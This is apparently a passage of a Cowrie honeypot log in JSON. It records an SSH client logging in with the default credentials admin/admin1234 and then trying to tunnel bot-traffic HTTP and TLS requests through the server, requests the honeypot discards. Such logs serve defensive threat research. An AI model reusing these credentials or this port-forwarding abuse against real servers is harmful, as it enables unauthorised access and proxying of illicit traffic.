J3VJTe8%2FqUALzLXEHO6eAmE163wsRH2LEiqvO12rKaxmAQKPrV1Yrt1rY0l52mrDkCk%2FRTJ%2FTPxTYk0VPmmCeRSytOBOddbiH7lQr%2Bm9YymgCY21%2FJYw4g1sjkYh41iFGeF1W19OEOBQk8vUw%2FhPsW3xznmt1lcaUX5dfnAAMP6gPAxUvDOcdT%2BhFrpUZGK75ozqkdl3dWaGuy%2BDsHvJUNPDBeTcYGgRoBQmuz7Qh67Bw7FAdzlxL6C3%2BerTBSb%2FzF3jT0Xj2t08O8AHkEN2YdCC5IlK%2BiKnYvafU%2BVa94d%2BqnIH8MG6mT0be1qy6d4lHQBp%2BrMS9V1%2BC7iNrR6Nt7Ffg30MezkUMDwF%2FvUYQSeJNoPZNuU%2FBL6mw4CBPbJLKXBZ%2FosIcMAontgDJBLGtcI%2BZvKzEEIyAuPaaU%2BU0WKgMNig3kP%2Ba2%2BnT%2BC3TXzvrAgfMRcKugusV9MjuZ8r26s0QuWqLtD2FC%2BDrbQNwPqz9I0dHGzr3aa9y'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:50.576754Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59314,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3e974b8eb12","protocol":"ssh","message":"New connection: 113.164.152.20:59314 (10.17.0.5:22) [session: c3e974b8eb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:54.215438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:54.219564Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:54.523711Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:55.699836Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.116349Z","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.243403Z","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.397326Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; OpenBSD; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bFRyK083Z0ZEMG96TyFDMA%3D%3DCpcOwWvKtl4HYw09dd7z11rf6Q2VEi1OYVzG6V0l9w1oeonBQ1mkLc%2F8mHK4FLsL2SSFdt0mxsiF4QI9bgj4TgkeZOtY8g10XP5FEdBQ4JO72%2B0e3%2BcW60LE%2BruksJ3JLh8GBpyHumjtMei69aNKrw9Ufek5CVV5PKOuCYiVbqK8G7CmIaCLfE31ZGqBAkfFCbIGo5kVzycuuFqLzUDREcQPfQMfgBFk8qgwOHLwcp8kShQvn%2F%2B3vuJFRnHacucJtu9r1ToeDFar59Hm34NAItkVRwPSYhtnA9G5Sgl22H%2Bvl8DOnzw2h%2BAZ5l4WXWalC9fYw44uQ0WaUes0BrUHhvUNsIF403nugNDlYNsxA8Uyx%2BZouTeaDHEV0porPfiAD7SWULGWobAwU%2FABXi4GKFfd2tAnZtwGr%2B23QUK5CIZ7PMeNFa40ZhwHAdErBA1KwdergxL3j0II9YgsUV5QWBIkVf1c%2BQUWV9wQ1wanKybgOj1GJcYpwhQls3VLJK5kRCmnulE%2FTIek6BsLA9iABjlqUkhL1IVgwEGikiGMjwbyzjrSkTuFwiRs6eH7LKzCO1nbx%2BdLMcKLuTuBQMwG4zC%2BpNfUQpCAPORiDxP17czb%2Fy92obp%2FGKEfgjAA46%2FQwFZ3gDhvYK7Sxz3QZUNvHLqWLPGY4TxuUk9auwvSlnx5MYJ6%2BWt3rxhYlWEMfGrrCkAwA9J%2FbRxTPACioT7m0JXqh7nhloSek%2BG%2BHtU3tHIrJzEHmU%2FLH3uz9EF9Qr6lFomlP7rrjPA4mETkK9KWrFnVlntVR2BG6Fab1WaBelfEvBVj55tR2p2VNHyRzSEZAiSdflfO7M9WDSWOhfLQuQy4AqU2ghvLcKAc2qs5K2XgvKd%2BZ9QhZIl2PbrRORtjIUw9g8SIxePEuBO3fstXLHaI0TvYOOc5HJaOTbsAsKKxAnFWXXpa8jTKINBTIN2%2BHFzl5lpjo1zbhvBlLwK6CwsZ7QAPg5VAYjQi2YkYn4E%2B9k4esxBycbX9Mm5TcUbUrhLvKjgUZ%2BNulloQUZu%2BIOf0O35FXmOf%2BLTl5UnKgkc%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; OpenBSD; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bFRyK083Z0ZEMG96TyFDMA%3D%3DCpcOwWvKtl4HYw09dd7z11rf6Q2VEi1OYVzG6V0l9w1oeonBQ1mkLc%2F8mHK4FLsL2SSFdt0mxsiF4QI9bgj4TgkeZOtY8g10XP5FEdBQ4JO72%2B0e3%2BcW60LE%2BruksJ3JLh8GBpyHumjtMei69aNKrw9Ufek5CVV5PKOuCYiVbqK8G7CmIaCLfE31ZGqBAkfFCbIGo5kVzycuuFqLzUDREcQPfQMfgBFk8qgwOHLwcp8kShQvn%2F%2B3vuJFRnHacucJtu9r1ToeDFar59Hm34NAItkVRwPSYhtnA9G5Sgl22H%2Bvl8DOnzw2h%2BAZ5l4WXWalC9fYw44uQ0WaUes0BrUHhvUNsIF403nugNDlYNsxA8Uyx%2BZouTeaDHEV0porPfiAD7SWULGWobAwU%2FABXi4GKFfd2tAnZtwGr%2B23QUK5CIZ7PMeNFa40ZhwHAdErBA1KwdergxL3j0II9YgsUV5QWBIkVf1c%2BQUWV9wQ1wanKybgOj1GJcYpwhQls3VLJK5kRCmnulE%2FTIek6BsLA9iABjlqUkhL1IVgwEGikiGMjwbyzjrSkTuFwiRs6eH7LKzCO1nbx%2BdLMcKLuTuBQMwG4zC%2BpNfUQpCAPORiDxP17czb%2Fy92obp%2FGKEfgjAA46%2FQwFZ3gDhvYK7Sxz3QZUNvHLqWLPGY4TxuUk9auwvSlnx5MYJ6%2BWt3rxhYlWEMfGrrCkAwA9J%2FbRxTPACioT7m0JXqh7nhloSek%2BG%2BHtU3tHIrJzEHmU%2FLH3uz9EF9Qr6lFomlP7rrjPA4mETkK9KWrFnVlntVR2BG6Fab1WaBelfEvBVj55tR2p2VNHyRzSEZAiSdflfO7M9WDSWOhfLQuQy4AqU2ghvLcKAc2qs5K2XgvKd%2BZ9QhZIl2PbrRORtjIUw9g8SIxePEuBO3fstXLHaI0TvYOOc5HJaOTbsAsKKxAnFWXXpa8jTKINBTIN2%2BHFzl5lpjo1zbhvBlLwK6CwsZ7QAPg5VAYjQi2YkYn4E%2B9k4esxBycbX9Mm5TcUbUrhLvKjgUZ%2BNulloQUZu%2BIOf0O35FXmOf%2BLTl5UnKgkc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.400449Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47306,"dst_ip":"159.203.135.109","dst_port":23,"session":"34cd2d02abec","protocol":"telnet","message":"New connection: 128.199.8.54:47306 (159.203.135.109:23) [session: 34cd2d02abec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.552119Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.672288Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd\\x8c8\\xfcC\\x94\\xe8\\xd7\\xcc|K\\x11PPNpuI\\r\\x81\\x89\\x96\\x92!\\xf6\\xd8\\xde\\xb0\\xe9\\xc6\\x1eD \\x7fY\\xbe/\\x9c%YS\\xda\\x13E\\x8aZd\\x05\\x060\\xc4\\x9a\\xbf\\xa2\\t\\x04\\xfb\\xd9\\x04\\xf2\"\\xf9\\'g\\xf7\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 G%\\x8a\\xab\\xbe!7\\x1cgNe\\x0f\\x02C^\\xfbR\\x19\\xea\\xe9\\xbe7C\\xba\\x03w\\xf4\"\\xe2\\x0e\\xf4l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd\\x8c8\\xfcC\\x94\\xe8\\xd7\\xcc|K\\x11PPNpuI\\r\\x81\\x89\\x96\\x92!\\xf6\\xd8\\xde\\xb0\\xe9\\xc6\\x1eD \\x7fY\\xbe/\\x9c%YS\\xda\\x13E\\x8aZd\\x05\\x060\\xc4\\x9a\\xbf\\xa2\\t\\x04\\xfb\\xd9\\x04\\xf2\"\\xf9\\'g\\xf7\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 G%\\x8a\\xab\\xbe!7\\x1cgNe\\x0f\\x02C^\\xfbR\\x19\\xea\\xe9\\xbe7C\\xba\\x03w\\xf4\"\\xe2\\x0e\\xf4l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:56.677055Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:57.222999Z","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:57.505264Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\x03\\x0e\"!\\xff\\xea\\x97\\xb8\\x03Q\\xa9\\xdd\\x1d\\xab,\\xc3R\\xd9\\x81(\\xc8\\x0b(\\'\\x04\\xce\\xe9\\xfb\\xbf\\x0es \\xed\\xf5\\xb3N~Q\\x8b&\\xaf\\xd06\\x89k\\x8c\\x871\\x1e\\xc7&j3b\\xea\\xba\\xdd\\xd5\\xd6\"m$X\\x82\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\x05\\xa6\\xd2\\x82\\xe9\\x8f\\xa8\\xf1\\x94\\xf2\\xc9\\x15m\\xcf\\x8b\\xe9\\xc8\\x08A\\xa0\\xe8\\xe2\\\\|\\xad\\xfa\\x87\\x82\\xc5\\x9b\\x12\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\x03\\x0e\"!\\xff\\xea\\x97\\xb8\\x03Q\\xa9\\xdd\\x1d\\xab,\\xc3R\\xd9\\x81(\\xc8\\x0b(\\'\\x04\\xce\\xe9\\xfb\\xbf\\x0es \\xed\\xf5\\xb3N~Q\\x8b&\\xaf\\xd06\\x89k\\x8c\\x871\\x1e\\xc7&j3b\\xea\\xba\\xdd\\xd5\\xd6\"m$X\\x82\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\x05\\xa6\\xd2\\x82\\xe9\\x8f\\xa8\\xf1\\x94\\xf2\\xc9\\x15m\\xcf\\x8b\\xe9\\xc8\\x08A\\xa0\\xe8\\xe2\\\\|\\xad\\xfa\\x87\\x82\\xc5\\x9b\\x12\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:57.507638Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:57.962556Z","src_ip":"113.164.152.20","session":"c3e974b8eb12","protocol":"ssh"}
